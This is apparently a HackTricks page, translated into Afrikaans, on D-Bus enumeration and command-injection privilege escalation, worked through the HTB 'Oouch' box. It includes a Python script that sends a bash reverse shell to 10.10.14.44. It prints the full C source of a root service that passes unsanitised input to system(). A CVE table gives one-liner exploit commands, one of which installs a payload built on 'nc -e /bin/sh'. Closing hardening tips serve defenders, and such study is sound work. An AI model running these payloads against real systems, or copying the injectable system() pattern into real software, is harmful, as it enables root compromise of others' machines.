D-Bus Enumerasie & Opdrag Inspuiting Privilege Escalation
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
GUI-enumerasie
D-Bus word gebruik as die inter-proses kommunikasie (IPC) bemiddelaar in Ubuntu desktop omgewings. Op Ubuntu word die gelyktydige werking van verskeie boodskapbusse waargeneem: die stelselsbus, wat hoofsaaklik deur bevoegde dienste gebruik word om dienste wat oor die stelsel relevant is, bloot te stel, en ân sessiebus vir elke ingelogde gebruiker, wat dienste blootstel wat slegs relevant is vir daardie spesifieke gebruiker. Die fokus hier is hoofsaaklik op die stelselsbus weens die verband met dienste wat op hoĂ«r bevoegdhede (bv. root) loop, aangesien ons doel is om bevoegdhede te verhoog. Dit word opgemerk dat D-Bus se argitektuur ân ârouterâ per sessiebus gebruik, wat verantwoordelik is vir die herleiding van kliĂ«ntboodskappe na die toepaslike dienste gebaseer op die adres wat deur die kliĂ«nte vir die diens wat hulle wil kommunikeer, gespesifiseer is.
Dienste op D-Bus word gedefinieer deur die objekte en interfaces wat hulle blootstel. Objekte kan vergelyk word met klasinstansies in standaard OOP tale, met elke instansie uniek geĂŻdentifiseer deur ân objekpad. Hierdie pad, soortgelyk aan ân lĂȘerstelselpunt, identifiseer elke objek wat deur die diens blootgestel word. ân Sleutelinterface vir navorsingsdoeleindes is die org.freedesktop.DBus.Introspectable interface, wat ân enkele metode, Introspect, bevat. Hierdie metode keer ân XML voorstelling van die objek se ondersteunende metodes, seine, en eienskappe terug, met ân fokus hier op metodes terwyl eienskappe en seine weggelaat word.
Vir kommunikasie met die D-Bus interface, is twee gereedskap gebruik: ân CLI-gereedskap genaamd gdbus vir maklike aanroep van metodes wat deur D-Bus in skripte blootgestel word, en D-Feet, ân Python-gebaseerde GUI-gereedskap wat ontwerp is om die dienste wat op elke bus beskikbaar is, te enumerate en om die objekte wat binne elke diens bevat is, te vertoon.
sudo apt-get install d-feet


In die eerste beeld word dienste wat by die D-Bus stelselsbus geregistreer is, getoon, met org.debin.apt spesifiek uitgelig na die keuse van die Stelselsbus-knoppie. D-Feet vra hierdie diens vir voorwerpe, wat interfaces, metodes, eienskappe en seine vir gekose voorwerpe vertoon, soos gesien in die tweede beeld. Elke metode se handtekening is ook gedetailleerd.
ân Opmerklike kenmerk is die vertoning van die diens se proses ID (pid) en opdraglyn, nuttig om te bevestig of die diens met verhoogde regte loop, belangrik vir navorsingsrelevansie.
D-Feet laat ook metode-aanroep toe: gebruikers kan Python-uitdrukkings as parameters invoer, wat D-Feet na D-Bus tipes omskakel voordat dit aan die diens oorgedra word.
Let egter daarop dat sommige metodes verifikasie vereis voordat ons hulle kan aanroep. Ons sal hierdie metodes ignoreer, aangesien ons doel is om ons regte te verhoog sonder om eers akrediteer te wees.
Let ook daarop dat sommige van die dienste ân ander D-Bus diens genaamd org.freedeskto.PolicyKit1 vra of ân gebruiker toegelaat moet word om sekere aksies uit te voer of nie.
Cmd lyn Enumerasie
Lys Diens Voorwerpe
Dit is moontlik om geopende D-Bus interfaces te lys met:
busctl list #List D-Bus interfaces
NAME PID PROCESS USER CONNECTION UNIT SE
:1.0 1 systemd root :1.0 init.scope -
:1.1345 12817 busctl qtc :1.1345 session-729.scope 72
:1.2 1576 systemd-timesyn systemd-timesync :1.2 systemd-timesyncd.service -
:1.3 2609 dbus-server root :1.3 dbus-server.service -
:1.4 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
:1.6 2612 systemd-logind root :1.6 systemd-logind.service -
:1.8 3087 unattended-upgr root :1.8 unattended-upgrades.serv⊠-
:1.820 6583 systemd qtc :1.820 user@1000.service -
com.ubuntu.SoftwareProperties - - - (activatable) - -
fi.epitest.hostap.WPASupplicant 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
fi.w1.wpa_supplicant1 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
htb.oouch.Block 2609 dbus-server root :1.3 dbus-server.service -
org.bluez - - - (activatable) - -
org.freedesktop.DBus 1 systemd root - init.scope -
org.freedesktop.PackageKit - - - (activatable) - -
org.freedesktop.PolicyKit1 - - - (activatable) - -
org.freedesktop.hostname1 - - - (activatable) - -
org.freedesktop.locale1 - - - (activatable) - -
Verbindinge
From wikipedia: Wanneer ân proses ân verbinding met ân bus opstel, ken die bus ân spesiale busnaam aan die verbinding toe wat unieke verbindingsnaam genoem word. Busname van hierdie tipe is onveranderlikâdit is gewaarborg dat hulle nie sal verander solank die verbinding bestaan nieâen, meer belangrik, hulle kan nie hergebruik word gedurende die bus se lewensduur nie. Dit beteken dat geen ander verbinding met daardie bus ooit so ân unieke verbindingsnaam toegeken sal word nie, selfs al sluit dieselfde proses die verbinding met die bus en skep ân nuwe een. Unieke verbindingsname is maklik herkenbaar omdat hulle begin met dieâandersins verbodeâdubbelepuntkarakter.
Diensobjek Inligting
Dan kan jy ân paar inligting oor die koppelvlak verkry met:
busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface
PID=2609
PPID=1
TTY=n/a
UID=0
EUID=0
SUID=0
FSUID=0
GID=0
EGID=0
SGID=0
FSGID=0
SupplementaryGIDs=
Comm=dbus-server
CommandLine=/root/dbus-server
Label=unconfined
CGroup=/system.slice/dbus-server.service
Unit=dbus-server.service
Slice=system.slice
UserUnit=n/a
UserSlice=n/a
Session=n/a
AuditLoginUID=n/a
AuditSessionID=n/a
UniqueName=:1.3
EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
PermittedCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
InheritableCapabilities=
BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
Lys Interfaces van ân Diensobjek
Jy moet genoeg toestemmings hĂȘ.
busctl tree htb.oouch.Block #Get Interfaces of the service object
ââ/htb
ââ/htb/oouch
ââ/htb/oouch/Block
Introspect Interface of a Service Object
Let op hoe in hierdie voorbeeld die nuutste interface gekies is wat ontdek is met die tree parameter (sien vorige afdeling):
busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface
NAME TYPE SIGNATURE RESULT/VALUE FLAGS
htb.oouch.Block interface - - -
.Block method s s -
org.freedesktop.DBus.Introspectable interface - - -
.Introspect method - s -
org.freedesktop.DBus.Peer interface - - -
.GetMachineId method - s -
.Ping method - - -
org.freedesktop.DBus.Properties interface - - -
.Get method ss v -
.GetAll method s a{sv} -
.Set method ssv - -
.PropertiesChanged signal sa{sv}as - -
Let wel die metode .Block van die interface htb.oouch.Block (die een waarin ons belangstel). Die âsâ van die ander kolomme kan beteken dat dit ân string verwag.
Monitor/Vang Interface
Met genoeg voorregte (net send_destination en receive_sender voorregte is nie genoeg nie) kan jy ân D-Bus kommunikasie monitor.
Om te monitor ân kommunikasie moet jy root wees. As jy steeds probleme ondervind om root te wees, kyk https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/ en https://wiki.ubuntu.com/DebuggingDBus
Warning
As jy weet hoe om ân D-Bus konfigurasie lĂȘer te konfigureer om nie-root gebruikers toe te laat om die kommunikasie te snuffel, kontak asseblief my!
Verskillende maniere om te monitor:
sudo busctl monitor htb.oouch.Block #Monitor only specified
sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see
sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see
In die volgende voorbeeld word die koppelvlak htb.oouch.Block gemonitor en word die boodskap âlalalalalâ deur miskommunikasie gestuur:
busctl monitor htb.oouch.Block
Monitoring bus message stream.
⣠Type=method_call Endian=l Flags=0 Version=1 Priority=0 Cookie=2
Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block
UniqueName=:1.1376
MESSAGE "s" {
STRING "lalalalal";
};
⣠Type=method_return Endian=l Flags=1 Version=1 Priority=0 Cookie=16 ReplyCookie=2
Sender=:1.3 Destination=:1.1376
UniqueName=:1.3
MESSAGE "s" {
STRING "Carried out :D";
};
Jy kan capture gebruik in plaas van monitor om die resultate in ân pcap-lĂȘer te stoor.
Filtrering van al die geraas
As daar net te veel inligting op die bus is, gebruik ân ooreenkomsreĂ«l soos volg:
dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"
Meerdere reĂ«ls kan gespesifiseer word. As ân boodskap enige van die reĂ«ls ooreenstem, sal die boodskap gedruk word. So:
dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
dbus-monitor "type=method_call" "type=method_return" "type=error"
Sien die D-Bus dokumentasie vir meer inligting oor die sintaksis van wedstrydreëls.
Meer
busctl het selfs meer opsies, vind al hulle hier.
Kwetsbare Scenario
As gebruiker qtc binne die gasheer âoouchâ van HTB kan jy ân onverwagte D-Bus konfigurasie lĂȘer vind geleĂ« in /etc/dbus-1/system.d/htb.oouch.Block.conf:
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->
<!DOCTYPE busconfig PUBLIC
"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
<policy user="root">
<allow own="htb.oouch.Block"/>
</policy>
<policy user="www-data">
<allow send_destination="htb.oouch.Block"/>
<allow receive_sender="htb.oouch.Block"/>
</policy>
</busconfig>
Let wel dat jy die gebruiker root of www-data moet wees om inligting te stuur en te ontvang via hierdie D-BUS kommunikasie.
As gebruiker qtc binne die docker houer aeb4525789d8 kan jy ân paar dbus-verwante kode in die lĂȘer /code/oouch/routes.py. vind. Dit is die interessante kode:
if primitive_xss.search(form.textfield.data):
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
response = block_iface.Block(client_ip)
bus.close()
return render_template('hacker.html', title='Hacker')
Soos wat jy kan sien, is dit verbinde met ân D-Bus-koppelvlak en stuur na die âBlockâ funksie die âclient_ipâ.
Aan die ander kant van die D-Bus-verbinding is daar ân C-gecompileerde binĂȘre wat loop. Hierdie kode luister in die D-Bus-verbinding vir IP-adresse en roep iptables aan via die system funksie om die gegewe IP-adres te blokkeer.
Die oproep na system is doelbewus kwesbaar vir opdraginjeksie, so ân payload soos die volgende sal ân omgekeerde shell skep: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #
Exploit dit
Aan die einde van hierdie bladsy kan jy die volledige C-kode van die D-Bus-toepassing vind. Binne dit kan jy tussen die lyne 91-97 hoe die D-Bus objek pad en koppelvlak naam ** geregistreer** word. Hierdie inligting sal nodig wees om inligting na die D-Bus-verbinding te stuur:
/* Install the object */
r = sd_bus_add_object_vtable(bus,
&slot,
"/htb/oouch/Block", /* interface */
"htb.oouch.Block", /* service object */
block_vtable,
NULL);
Ook, in lyn 57 kan jy vind dat die enigste metode geregistreer vir hierdie D-Bus kommunikasie Block genoem word (Daarom gaan die payloads in die volgende afdeling na die diensobjek htb.oouch.Block, die koppelvlak /htb/oouch/Block en die metodenaam Block gestuur word):
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
Python
Die volgende python kode sal die payload na die D-Bus verbinding stuur na die Block metode via block_iface.Block(runme) (let op dat dit uit die vorige stuk kode onttrek is):
import dbus
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #"
response = block_iface.Block(runme)
bus.close()
busctl en dbus-send
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
dbus-sendis ân hulpmiddel wat gebruik word om boodskappe na âMessage Busâ te stuur.- Message Bus â ân sagteware wat deur stelsels gebruik word om kommunikasie tussen toepassings maklik te maak. Dit is verwant aan Message Queue (boodskappe is in volgorde) maar in Message Bus word die boodskappe in ân subskripsiemodel gestuur en ook baie vinnig.
- â-systemâ etiket word gebruik om te noem dat dit ân stelselsboodskap is, nie ân sessieboodskap nie (per standaard).
- ââprint-replyâ etiket word gebruik om ons boodskap toepaslik te druk en ontvang enige antwoorde in ân menslike leesbare formaat.
- ââdest=Dbus-Interface-Blockâ Die adres van die Dbus-koppelvlak.
- ââstring:â â Tipe boodskap wat ons wil stuur na die koppelvlak. Daar is verskeie formate om boodskappe te stuur soos dubbel, bytes, booleans, int, objpath. Van hierdie, is die âobject pathâ nuttig wanneer ons ân pad van ân lĂȘer na die Dbus-koppelvlak wil stuur. Ons kan ân spesiale lĂȘer (FIFO) in hierdie geval gebruik om ân opdrag na die koppelvlak te stuur in die naam van ân lĂȘer. âstring:;â â Dit is om die objekpad weer aan te roep waar ons die FIFO omgekeerde skulp lĂȘer/opdrag plaas.
Note that in htb.oouch.Block.Block, the first part (htb.oouch.Block) references the service object and the last part (.Block) references the method name.
C code
//sudo apt install pkgconf
//sudo apt install libsystemd-dev
//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <systemd/sd-bus.h>
static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) {
char* host = NULL;
int r;
/* Read the parameters */
r = sd_bus_message_read(m, "s", &host);
if (r < 0) {
fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r));
return r;
}
char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP";
int command_len = strlen(command);
int host_len = strlen(host);
char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char));
if(command_buffer == NULL) {
fprintf(stderr, "Failed to allocate memory\n");
return -1;
}
sprintf(command_buffer, command, host);
/* In the first implementation, we simply ran command using system(), since the expected DBus
* to be threading automatically. However, DBus does not thread and the application will hang
* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real
* multithreading)
*/
int pid = fork();
if ( pid == 0 ) {
/* Here we are in the child process. We execute the command and eventually exit. */
system(command_buffer);
exit(0);
} else {
/* Here we are in the parent process or an error occured. We simply send a genric message.
* In the first implementation we returned separate error messages for success or failure.
* However, now we cannot wait for results of the system call. Therefore we simply return
* a generic. */
return sd_bus_reply_method_return(m, "s", "Carried out :D");
}
r = system(command_buffer);
}
/* The vtable of our little object, implements the net.poettering.Calculator interface */
static const sd_bus_vtable block_vtable[] = {
SD_BUS_VTABLE_START(0),
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
SD_BUS_VTABLE_END
};
int main(int argc, char *argv[]) {
/*
* Main method, registeres the htb.oouch.Block service on the system dbus.
*
* Paramaters:
* argc (int) Number of arguments, not required
* argv[] (char**) Argument array, not required
*
* Returns:
* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive
* as long as the user keeps it alive.
*/
/* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */
signal(SIGCHLD,SIG_IGN);
sd_bus_slot *slot = NULL;
sd_bus *bus = NULL;
int r;
/* First we need to connect to the system bus. */
r = sd_bus_open_system(&bus);
if (r < 0)
{
fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r));
goto finish;
}
/* Install the object */
r = sd_bus_add_object_vtable(bus,
&slot,
"/htb/oouch/Block", /* interface */
"htb.oouch.Block", /* service object */
block_vtable,
NULL);
if (r < 0) {
fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r));
goto finish;
}
/* Register the service name to find out object */
r = sd_bus_request_name(bus, "htb.oouch.Block", 0);
if (r < 0) {
fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r));
goto finish;
}
/* Infinite loop to process the client requests */
for (;;) {
/* Process requests */
r = sd_bus_process(bus, NULL);
if (r < 0) {
fprintf(stderr, "Failed to process bus: %s\n", strerror(-r));
goto finish;
}
if (r > 0) /* we processed a request, try to process another one, right-away */
continue;
/* Wait for the next request to process */
r = sd_bus_wait(bus, (uint64_t) -1);
if (r < 0) {
fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r));
goto finish;
}
}
finish:
sd_bus_slot_unref(slot);
sd_bus_unref(bus);
return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
}
Geoutomatiseerde Enumerasie Hulpbronne (2023-2025)
Die handmatige enumerasie van ân groot D-Bus aanvaloppervlak met busctl/gdbus word vinnig pynlik. Twee klein FOSS-hulpmiddels wat in die afgelope paar jaar vrygestel is, kan dinge versnel tydens rooi-span of CTF-betrokkenhede:
dbusmap (âNmap vir D-Busâ)
- Skrywer: @taviso â https://github.com/taviso/dbusmap
- Geskryf in C; enkele statiese binĂȘre (<50 kB) wat elke objekpad loop, trek die
IntrospectXML en kaart dit na die besitende PID/UID. - Nuttige vlae:
# Lys elke diens op die *stelsel* bus en dump alle oproepbare metodes
sudo dbus-map --dump-methods
# Aktief ondersoek metodes eienskappe wat jy kan bereik sonder Polkit prompts
sudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties
- Die hulpmiddel merk onbeveiligde welbekende name met
!, wat onmiddellik dienste onthul wat jy kan besit (oorneem) of metode-oproepe wat bereik kan word vanaf ân onprivilegieerde skulp.
uptux.py
- Skrywer: @initstring â https://github.com/initstring/uptux
- Slegs Python-skrip wat soek na skryfbare paden in systemd-eenhede en oormatig permissiewe D-Bus beleid lĂȘers (bv.
send_destination="*"). - Vinnige gebruik:
python3 uptux.py -n # voer alle kontroles uit maar skryf nie 'n loglĂȘer nie
python3 uptux.py -d # aktiveer gedetailleerde foutopsporing
- Die D-Bus module soek die direkteure hieronder en beklemtoon enige diens wat deur ân normale gebruiker gespoof of gehuurm kan word:
/etc/dbus-1/system.d/en/usr/share/dbus-1/system.d//etc/dbus-1/system-local.d/(verkoper oorskrywing)
Opmerklike D-Bus Privilege-Eskalasie Foute (2024-2025)
Om ân oog te hou op onlangs gepubliseerde CVEâs help om soortgelyke onveilige patrone in pasgemaakte kode op te spoor. Die volgende hoĂ«-impak plaaslike EoP probleme spruit almal uit ontbrekende outentisering/autorisasie op die stelsel bus:
| Jaar | CVE | Komponent | Wortel Oorsaak | Een-Liner PoC |
|---|---|---|---|---|
| 2024 | CVE-2024-45752 | logiops †0.3.4 (Logitech HID daemon) | Die logid stelseldiens stel ân onbeperkte org.freedesktop.Logiopsd koppelvlak bloot wat enige gebruiker toelaat om toestelprofiele te verander en arbitrĂȘre skulpoproepe via makro-stringe in te voeg. | gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/pwn.yml" |
| 2025 | CVE-2025-23222 | Deepin dde-api-proxy †1.0.18 | ân Root-draende proxy stuur erfenis busname na agtergrond dienste sonder om oproeper UID/Polkit konteks te stuur, so elke oorgestuurde versoek word as UID 0 behandel. | gdbus call -y -d com.deepin.daemon.Grub2 -o /com/deepin/daemon/Grub2 -m com.deepin.daemon.Grub2.SetTimeout 1 |
| 2025 | CVE-2025-3931 | Red Hat Insights yggdrasil †0.4.6 | Publieke Dispatch metode ontbreek enige ACLâs â aanvaller kan die pakket-bestuurder werker beveel om arbitrĂȘre RPMâs te installeer. | dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:'{"worker":"pkg","action":"install","pkg":"nc -e /bin/sh"}' |
Patrone om op te let:
- Diens loop as root op die stelsel bus.
- Geen PolicyKit kontrole nie (of dit word omseil deur ân proxy).
- Metode lei uiteindelik tot
system()/pakketinstallasie/toestel herkonfigurasie â kode-uitvoering.
Gebruik dbusmap --enable-probes of handmatige busctl call om te bevestig of ân regstelling behoorlike polkit_authority_check_authorization() logika terugport.
Versterking & Opsporing Vinnige Winst
- Soek na wĂȘreld-skryfbare of send/receive-oop beleid:
grep -R --color -nE '<allow (own|send_destination|receive_sender)="[^"]*"' /etc/dbus-1/system.d /usr/share/dbus-1/system.d
- Vereis Polkit vir gevaarlike metodes â selfs root proxies moet die oproeper PID aan
polkit_authority_check_authorization_sync()oorhandig in plaas van hul eie. - Laat voorregte val in langlopende helpers (gebruik
sd_pid_get_owner_uid()om name ruimtes te verander na verbinding met die bus). - As jy nie ân diens kan verwyder nie, beperk dit ten minste tot ân toegewyde Unix-groep en beperk toegang in sy XML-beleid.
- Blou-span: aktiveer volgehoue vang van die stelsel bus met
busctl capture --output=/var/log/dbus_$(date +%F).pcapen invoer in Wireshark vir anomalie opsporing.
Verwysings
-
https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/
-
https://security.opensuse.org/2025/01/24/dde-api-proxy-privilege-escalation.html
-
https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

